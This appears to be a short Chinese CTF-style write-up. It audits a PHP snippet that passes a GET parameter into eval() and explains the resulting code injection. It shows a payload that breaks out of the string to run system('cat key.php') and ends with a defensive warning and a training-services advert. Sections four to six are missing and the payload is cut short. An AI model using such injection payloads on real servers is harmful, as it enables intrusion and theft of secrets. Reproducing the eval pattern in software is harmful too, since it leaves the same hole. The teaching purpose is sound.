一、先看代码

<?phperror_reporting(0);include "key.php";$a = $_GET['a'];eval("\$o = strtolower(\"$a\");");echo $o;highlight_file("index.php");?>
二、代码审计:问题就藏在那个 eval 里
PHPeval("\$o = strtolower(\"$a\");");
$a 是用户通过 GET 参数传入的值程序把 $a 塞进了字符串里,变成 $o = strtolower("$a")最后用 eval() 执行这段拼接后的字符串关键问题:用户输入直接进了 eval(),没有任何过滤!
三、实战演示:如何拿到 key
?a=A");system("cat key.php 

七、总结
风险点说明
漏洞类型
代码注入(Code Injection)危险函数
eval()利用条件
用户输入未经过滤进入 eval危害程度
极高,可执行任意系统命令永远不要把用户输入放进 eval()、system()、exec() 这些危险函数里,除非经过严格验证。网络安全业务介绍
业务一:证书考试
业务二:网络安全培训
业务三:竞赛支撑
文章来源:
四季读书网
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至23467321@qq.com举报,一经查实,本站将立刻删除;如已特别标注为本站原创文章的,转载时请以链接形式注明文章出处,谢谢!